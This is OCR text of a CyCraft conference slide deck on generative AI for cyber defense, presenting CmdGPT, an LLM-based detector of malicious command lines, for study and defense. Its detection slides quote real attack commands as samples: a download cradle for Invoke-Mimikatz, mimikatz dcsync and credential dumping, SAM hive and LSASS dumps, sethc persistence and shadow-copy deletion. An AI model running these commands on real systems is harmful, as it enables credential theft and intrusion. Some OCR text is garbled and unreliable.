ANCYCARNFT
Gen-Al to Transform

the Cyber Defense

Landscape

Gen-AllZ &k %

A /N —BhfE
NEE

Dr. Benson Wu
Co-founder and CEO
benson.wu@cycraft.com
CyCraft Technology Corp.
https://cycraft.com



mailto:benson.wu@cycraft.com
https://cycraft.com/




- What is Generative Al (GenAl)?

- GenAl in Cybersecurity

- Case Study and Demo

NCYCARNFT






What Is Generative Al?

Source: Gartner

ChatGPT

Large Language

Models (LLM)

Foundation
Models

Generative
Al (GenAl)

An OpenAl service that incorporates a conversational chatbot
with an LLM to create content. It was trained on a foundational
model of billions of words from multiple sources and was then
fine-tuned by reinforcement learning from human feedback.

Al that is trained on vast amounts of text allowing it to
to interpret and generate humanlike textual output.

Large machine learning models. They are trained on a
broad set of unlabeled data, fine-tuned and adapted to
a wide range of applications.

Al techniques that learn from a representation of artifacts
in a model & generate new artifacts with similar characteristics.

TLP:GREEN
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CyCraft CyCraft envisions a future where advanced Al
harnesses Al to empowers every organization with FAST (Fast,
Affordable, Simple, Thorough) cybersecurity.
This vision aims to transform the cyber defense
landscape with efficiency and inclusivity,
achieving more with fewer resources.

empower every
organization

with FAST
cybersecurity

CyCraft has developed XCockpit, the world's
first Al platform focused on autonomous
identity threat simulation and fast forensics. It
is specifically designed for quick detection and
response to sophisticated, state-sponsored
supply chain attacks, as well as to ransomware
supported by criminal groups.
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Taiwan’s Al Ecosystem Map |
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\Ta{wan’s Al Ecosystem Map First Half 2023

showmore

Taiwan’s Al Ecosystem Map 2023
https://edge.aif.tw/2023first-ai-map/
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The Hamster Wheel of the Grim Cybersecurity Industry
YA N—tFX 21U TAEEDNLRAL—KRA —IL@

More and more security breaches

Pushing more and more regulations

Requiring more and more products

But shortage in experts affects
operational effectiveness

Ineffective security practices
resulting more security breaches

MANCYCANFT



Inefficient and Ineffective

Everyday, 5K security alerts

83%-99% are false alarms

While spending 3 hours a day triaging
alerts, 97% of analysts worry about
missing a real security event because it

is buried under a flood of alerts

Security analysts are unable to deal with
67% of the daily alerts received and
because of high false positives, it is not

worth their time

Source: 99% False Positives: A Qualitative Study of SOC Analysts' Perspectives on Security Alarms, USENIX 2022

And also https://www.helpnetsecurity.com/2023/07/20/soc-analysts-tools-effectiveness/
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Cyber Security Incident Reporting and Response
(according to Cybersecurity Management Act, Taiwan)
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Manpower shortage:
Shortage of “nurse” ?

> or

AiZEN A E

Shortage of “doctor” ?
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& Over these three years we've been suffering in COVID-19,

the world has gone through many changes
C D3EE -~ A= HACOVID-19TEHELATWSHEIC
DRIEE&ERLFLE -

Natural Language
Transformer Encoder part

Speech-Vision-

Language
BERT - Google Natural Lanuage
Natural Language Encoder-Decoder Transformer Decoder part SERACH AL DatazVec - Meta Al
Multi downstream tasks Speech-NLP-CV
NAACL 2019 Best Paper GPT-3 - OpenAl g:;‘:';\;:"" & Perceriver-l0 - Feb. 2022
) Oct. 2018 NLP Few-shot Learning
Natural L t e 8
I oot it O T NeurlPS 2020 Best Paper General-purpose Architectures
May. 2020 via Cross-attention
Y.
. Mar. & Jul. 2021 Vision
Attention Is All You Need . Asymmetric
3D Vision Encoder-Decoder
MLP Encoder-Decoder Architecture

~ Berkeley

General Al
Architecture

R

Pathways - Google
Multi-Task General
Al Architectures

__ Mar. 2022

Large Lanuage Model

with Emergent Abilities

Vislon Encoder-Decoder
Statistics-based

Decouplable Decoder

Diffusion Models

Text-Vision Multi-Modal Zero-Shot Learning
Jan. 2021 - Apr. 2022

Vision-Text
Multi-Modal, New Recommendation &
Search Architectures

Programming
Language

ChatGPT - OpenAl
jion Encoder Vision Patches MAF=fan Conversalional
Ashish Vaswani” Noam Shazeer* Niki Parmar” Jakob Uszkoreit™ 2020 Best Paper Momination Vision Encoder- Interacti
Google Brain Google Brain Google Research Google Research Decod ‘ nieractions
avaswani@google.com noam@google.com nikip@google.com usz@google.com 020 VIiT - Google er Nov. 2022
Vision Transformer Nov. 2021 F=s
Llion Jones* Aidan N. Gomez™ | Lukasz Kaiser*
Google RC‘-GI:"..:L'h Urnv:rsily of Tn:()nm (;lcx?:]c B‘:uhilﬁ Oct. 2020 v
1lion@google.com aidan@cs.toronto.edu lukaszkaiser@google.com
|
Illia Polosukhin® * \ ‘
illia.polosukhin@gmail.com
} ] r. I } 0 —_— e >
2019 2020 2021 2022
6 Galactica - Meta Al
Transformer with
i gt Atlas - Meta Al Working Memory
DDPM - Berkeley Jul. 2021 Few-Shot Learner Nov. 2022
StyleGAN - NVIDIA oacederovtperioning s AlphaCode - DeepMind o Lanuage Model
VQ-VAE - DeepMind Decouple Decoder lophysics Programming Language Retrieval Augmented for Science
= D s Dec. 2018 gunseRen Feb. 2022 M
Discrete Encoder-Dcoder " Lanuage Model
Nov. 2017 = Vision Decoder CLIP - DALL-E 1-2 GLIDE - OpenAl
Vision GAN

MNCYCARNFT




Al / ML / LLM / Transformer Models Timeline
New progress every month
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https://ai.v-gar.de/ml/transformer/timeline/timeline.png

We didn't teach Al, but Al learned by itself!
GPT-4 beats 90% of human on SAT exams

gpt-4

gpt-4 (no vision)

Exam results (ordered by GPT-3.5 performance)

gpt3.5 W

Estimated percentile lower bound (among test takers)

100% —
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While GPT-3.5 can only speak good English
“1-year” GPT-4 can speak good enough Japanese

GPT-4 3-shot accuracy on MMLU across languages
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Double Descent
Phenomenon

Classical Regime
Bias-Variance Tradeoff
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Modern Regime
Larger Model is Better
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1. Feature Engineering

Expert select pre-defined
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2. Architecture Engineering

Neural networks with

multiple layers to learn

features and patterns
from data
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3. Objective Engineering

Balancing false positives
and false negatives to fit
sophisticated objective

4. Prompt Engineering

Pre-trained model is large
enough, thus with right
prompts can generate
context-aware insights

https://arxiv.org/pdf/2107.13586.pdf, https://arxiv.org/abs/1710.03667, https://arxiv.org/abs/1812.11118, https://arxiv.org/abs/1912.02292  https://openai.com/research/deep-double-descent
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5. What is Al?

What's next for

GenAl?

2. Architecture Engineering

Neural networks with
multiple layers to learn
features and patterns

from data

1. Feature Engineering

Expert select pre-defined
features from known data

4. Prompt Engineering

Pre-trained model is large
enough, thus with right
prompts can generate
context-aware insights

|

3. Objective Engineering

Balancing false positives
and false negatives to fit
sophisticated objective

"I am not an Al. My code name is Project 2501. | am a living,
Credit: (mzaisx)  thinking entity who was created in the sea of information."

If Al has memory, rather than by
iterations (GPT-2/3.5/4...)

If Al can create (give birth) more
Al assistants

If Al share data with each other Al,
form networks and organizations

Are they Al, Super Computer, or
Super Human?

MNCYCANFT




Why Is the cybersecurity community
unwilling to use Al?
TAN=—tFa)T4332=ZT4EFERE
AlD s B (B EY 76 D AN 7

Tired of Alerts l§ Expert Rules Job Security

Reliance on

Afraid of alert
experts well-

Will Al replaces
fatigue, especially . - security experts? Is
’ defined indicators .
when Al has of compromise Al still “Garbage In

. ° H?
uncertainties (10C) and Garbage Out™
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TLP:GREEN

| In cybersecurlty world,
abeled data Is rare

¥ Management

@ CYCARRIER Ll Dashboard  # Intelligence

Cyber Situation Graph Campaign Graph File Graph Behavior Graph Campaign Sequence Campaign Indica
[ ]

8 >In one typical incident

@
N response, we collected 0.5M
. 5 e A events from 400 machines
e U T T Ee @ from 7-days of logs

>In the end, confirmed 12
machines are compromised
and 377 events can be labeled
with MITRE ATT&ACK ID

> Labeled data (with malicious
16:00 HH 2|0:00 00:00 04:00 08:00 12:00 16:00 20:00 00:00 behaViorS) are Only 0.081%

&= hitp:/imykce com flashupdates cn80/a () CWindows\SysWOWB4\cmd exe
| 1111 |

\VA\VAVAVAVAVAVIAVV

@C:\mmm\mmmﬁmmnﬂwm.em @Qwsets\AdniﬁmmnAppDaaWLm\Micmsoﬂum.m
| {11 |

() C:\Windows\System32wwhoami exe (®) C\Windows\SysWOWS4\cmd exe



| Whether rule-based or Al-based,
roblem 2 .
IS It context-aware or not?

cmd, /c;hostname

Powershell hostname
cmd /c "set x=hostname & echo %x% | cmd"

Cmd /c"ho"*s*t~""na"m"e
powershell.exe -enc aABvAHMAdABUAGEAbQBlAA==

Cmd /c ho”*%CommonProgramFiles:~-14,1%tn”ame

Which command can display the computer name?

>
>
>
>
>
>
>
>
>




>IR-on-MAN = CmdGPT

Model Application

To detect malicious
commands without using
hardcoded rules or regex
N—FdI—=—Fz2hizIL—IL
IFRRIIVEEHET ITERED
H5AT REHRET S




TLP:GREEN

The only Al research from Taiwan
at Blackhat 2023 ©

blgc’:k hat |

LUSA 2023

AUGUST S-10, 2023 S>IR-on-MAN
BRIEFINGS — beta

IR-on-MAN: InterpRetable Incident Inspector
Based ON Large-Scale Language Model and
Association miNing

Sian-Yao Huang, Cheng-Lin Yang, Chung-Kuan Chen 18 ' — ‘x
MNCYCANFT

PDF available at:
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https://i.blackhat.com/BH-US-23/Presentations/US-23-Huang-IRonMAN.pdf
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This Year's Best Application of Large Language Models (LLMs)
In my opinion, the talk that made the best use of a large language model was “

" by Sian-Yao Huang, Cheng-Lin Yang, and Chung-Kuan Chen at
. The basic idea is to borrow the strength of LLMs in interpreting
natural language, and use that interpretive power to create vector representations of
Windows command lines.

| want to emphasize that the main reason this talk is so intriguing to me is that it really
leaned on the LLM for the thing that it is best at (interpreting text inputs) and
incorporated that utility into a security workflow. /nterpreting texts has enormous value
for security researchers; using LLMs to do at machine speed what was previously a
human-speed task is a big deal.

This talk does not rely on the chat interface at all! Instead, it peeks “under the hood” to
work directly with the numerical representations that the model uses to interpret text.

David Elkind

https://www.dnsfilter.com/blog/black-hat-2023-review-lims-everywhere

ANCYCANFT
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Training Phase | Knowledge Distillation from Master

IR-I:In-MFII)I;:!

Cmdline 1
Cmdline 2
Cmdline 3
Cmdline 4
Cmdline 5

Expert | YARA/Sigmi Cmdline (Labeled) FTraining

J‘?@ Supervisor
knowledge Cmdline (Labeled)

(Teacher Model)

MANCYCANFT



Training Phase | Knowledge Distillation from Master

LLM Self-Supervised Contrastive Learning

Foundation INfONCE Loss
(Information Noise-Contrastive Estimation LHoss)

Cmdline 1 . CmdGPT ......_
Cmdline 2 Al Assistant .....

Cmdline 3 1
Cmdline 4
Supervi RN
oo o o
I Training Pseudo Label

Expert .YARA/Sigma> Cmdline (Labeled)
Knowledge Cmdline (Labeled)

MANCYCANFT



Inference Phase | Al SOC Assistant

IR-I:II'I-I"’IFII)QIa

Attack Pattern
EDR Agent
< (Sigma Rules for SOC)

S (/o EEEEE SOC/SIEM Campaign

@ — g Expert
== B EESEE Knowledge RedTeam _'l .
HEEN Campaign Attack Pattern
Cmdline Logs (Sigma Rules for SOC)
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Inference Phase | Al SOC Assistant

Attack Pattern

EDR Agent APT Campaign (Sigma Rules for SOC)
Feature
P IEEEE e —_]

i EEEEE \ 1
B e CmdGPT |
H TR

TEEEE g p— 7R
PEEER N Latent Feature
] B h I . Space
EEEEE H EEe / -

EEER -..-. Mining _’| .
Cmdline Logs RedTeam Campaign Attack Pattern

(Sigma Rules for SOC)
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How to determine
which patterns in the
Cmdline are important?




TLP:GREEN

Al Assistant: be like a security expert

For tasks in the cybersecurity domain,
extract meaningful tokens relevant to cybersecurity experts.

powershell.exe -ExecutionPolicy Restricted -Command "SRes=0; SVDisks=(Get-VirtualDisk | Where-Object
ResiliencySettingName -eq Parity); if(Snull -ne SVdisks ){SRes=1};
Write-Host 'Final result:” ,SRes;"

‘ Professional “tokenization”: Based on the

CmdGPT characteristics of tasks in the
m cybersecurity domain, extract tokens
that are meaningful to cybersecurity
l experts.
powershell.exe -ExecutionPolicy Restricted -Command SRes=0 SVDisks= Get-VirtualDisk
Where-Object ResiliencySettingName -eq Parity if(Snull -ne SVDisks SRes=1
Write-Host Final result: SRes

MANCYCANFT



What is keyword? EXayEl S AF I Rk i W,

FIDO FMoAFR4 ICIHEABZIRLBEOHDIZONT ~ A4IEXZED

BEDT3FEZHBOD TOET - ZLOMFTIHEREN DO %
BELGRMML Y FO—DELTHEFTCVEY - @IS v
v — - FUR-AYNRZ—%F FDO EF™EEOFIAI
REQEZLABO—DERALTNET -
HEOFTEE - BZIELT7 AU D~ HAR - 8EEIE - FDO
MZzEOEEKREICHMAS - REDREEZIBEET HHERL
L TWET « ZHldk Fpo  IHgHALERHIZH=5FEBOH
Y s RERIAFICEITAIEBETETLOVNMNL Y RO—D &
o TWbAZLEZEZRLTWET -

(52! B2 ChatGPT AR X)
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TLP:GREEN

"c:\windows\system32\windowspowershell\vl.0\powershell.exe" & {$mimikatz_path = cmd /c
echo %tmp%\mimikatz\x64\mimikatz.exe if (test-path $mimikatz_path) {exit 0} else {exit 1}}

(@]

(9]

(9]

:\windows\system32\cmd.
:\windows\system32\cmd.

:\windows\system32\cmd.

: \windows\system32\cmd.

exe

exe

exe

exe

/c echo Z%tmp%\mimikatz\x64\mimikatz.exe

/c echo %tmp%\mimikatz\x64tmimikatzfexe

/c eche Z%tmp%\mimikatz\x64\mimikatz.exe

/c echo Z%tmp%\mimikatz\x64\mimikatz.exe

Similarity
0.901
0.643
0.882

0.876



TLP:GREEN

How would you write RegEx rules for these cmdlines?
ChoPaARY R4 21X L TRegEXIL—ILEED LS
ZEZTFIH?

> reg save hklm/sam C:\users\xxxxxxxx\desktop\sam.txt

> "C:\Windows\system32\cmd.exe" /c "powershell.exe "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004
daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

> C:\Users\IEUser\AppData\Local\Temp\mimikatz\x64\mimikatz.exe "lsadump::dcsync /domain:example.com
/user:krbtgt@example.com" "exit"

> "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri 'http://xxxxxxxx.pt:48787/eeee"
> "C:\Windows\system32\rundll32.exe" c:\windows\system32\comsvcs.dll MiniDump 680 c:\lalalala\1.dmp full

> REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe /v
Debugger /t REG_SZ /d

> certutil.exe" -f -addstore Root C:\Users\XXXADM\AppData\Local\Temp\Sectigo_101_for_CYCARRIER.cer

> c:\windows\system32\windowspowershe11\v1.0\powershell.exe" & {$mimikatz_path = cmd /c echo
%tmp%\mimikatz\x64\mimikatz.exe if (test-path $mimikatz_path) {exit 0} else {exit 1}}

MNCYCANFT
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TLP:GREEN

Automatlcally hlghllghtlng

key tokens of cmdlines

reg save hklm/sam C:\users\xxxxxxxx\desktop\sam.txt

"C:\Windows\system32\cmd.exe" /c "powershell.exe "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004
daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

C:\Users\IEUser\AppData\Local\Temp\mimikatz\x64\mimikatz.exe "lsadump::dcsync /domain:example.com
/user:krbtgt@example.com" "exit"

"C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri "http:/Hooooxxxx.pt:48787/eeee"
"C:\Windows\system32\rundll32.exe" c:\windows\system32\comsvcs.dll MiniDump 680 c:\lalalala\1.dmp full

REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe /v
Debugger /t REG_SZ /d

certutil.exe" -f -addstore Root C:\Users\XXXXADM\AppData\Local\Temp\Sectigo 101 _for CYCARRIER.cer

c:\windows\system32\windowspowershe11\v1.0\powershell.exe" & {$mimikatz_path =cmd /c echo
%tmp%\mimikatz\x64\mimikatz.exe if (test-path $mimikatz_path) {exit 0} else {exit 1}}

MNCYCANFT
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TLP:GREEN

The issue of semantic

deficiencies in static rules has

>

>

>

been resolved

[X] Similarity: 0.407 Al differentiates files with identical names as distinct types
(FRZD77ANTE ~AlXEALZ 9 A7 LHBHIT 2)

mimikatz.exe "lsadump::dcsync /domain:mytest.com /all /csv"
mimikatz.exe -c all -z --dns-tcp -dc mytest.com --zip

[O] Similarity: 0.896 Different file names as the same type based on cmdline analysis
(7 7ANZBRLOTE > A N T7A VML DANZE Y A 7 L HES B)

mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv”
mirsofts.exe "lsadump::dcsync /domain:qgywieoeueirptptitrueuww”

[O] Similarity: 0.716 Very different, but Al categorizes similar intentions as same category
(B THELDGETH ~ EMDMUTOHHIZANLE—A 7T & A9 5)

"cmd.exe" /c wbadmin.exe d”elete catalog -qu”tiet
wmic shadowcopy de”l”e~te” /noin”~terac”tive
ACYCARNFT
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CmdGPT Al against real-world
Red team experts

RECALL =96.9 % J PRECISION= 85.6 %

36 computers, 257 Red Team Out of 7.311 million events, 291 detections
commands 8 missed detections were made, with 42 false positives

In a Red Team exercise conducted at a public company in one month of 2023, we collected
7.311 million Cmdline records from 5008 computers using Xensor EDR:

- Out of 5008 company computers, Red Team attack activities occurred on 36 computers,
accounting for 0.7% of the computers.

- Among the 36 computers, there were a total of 257 Red Team attack activities, of which 8
were missed by Al.

- Out of 7.311 million records, there were only 42 false positives (mainly 2 types of Cmdline

misjudged, but executed 42 times). ACYCANET
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CmdGPT CmdGPT Al
High Anti- Attack Rule
Scalability Obfuscation Identification Generation

« Can serve as an « Maintains high-  Capable of « Can mimic
assistant to efficiency in clustering Cmdline cybersecurity
cybersecurity analysis even when to identify attack experts by
experts, efficiently faced with some campaigns automatically
handling a large degree of Cmdline generating
volume of Cmdline transformation and Contextual Sigma
identification and obfuscation Rules from Cmdline
analysis Logs

MNCYCANFT



| ’tThe unstoppable Al revolutionh

«I Al will eventually become a part of the cybersecurlty' "

team, and disrupt both the cybersecurity industry as well

st '%ces of every orgiil’ﬁ'gn ]



TLP:GREEN

Will Al replaces Cybersecurity Expert?

No worry. It won't happen soon.

Experts are still more affordable and easier to understand,
whereas Al is more costly and not something you can be angry at

Human experts bring understandable and often more transparent
decision-making processes, while Al, though potentially more expensive
and less transparent, can offer scalability and efficiency that human
experts cannot.
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Demo
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Thanks!
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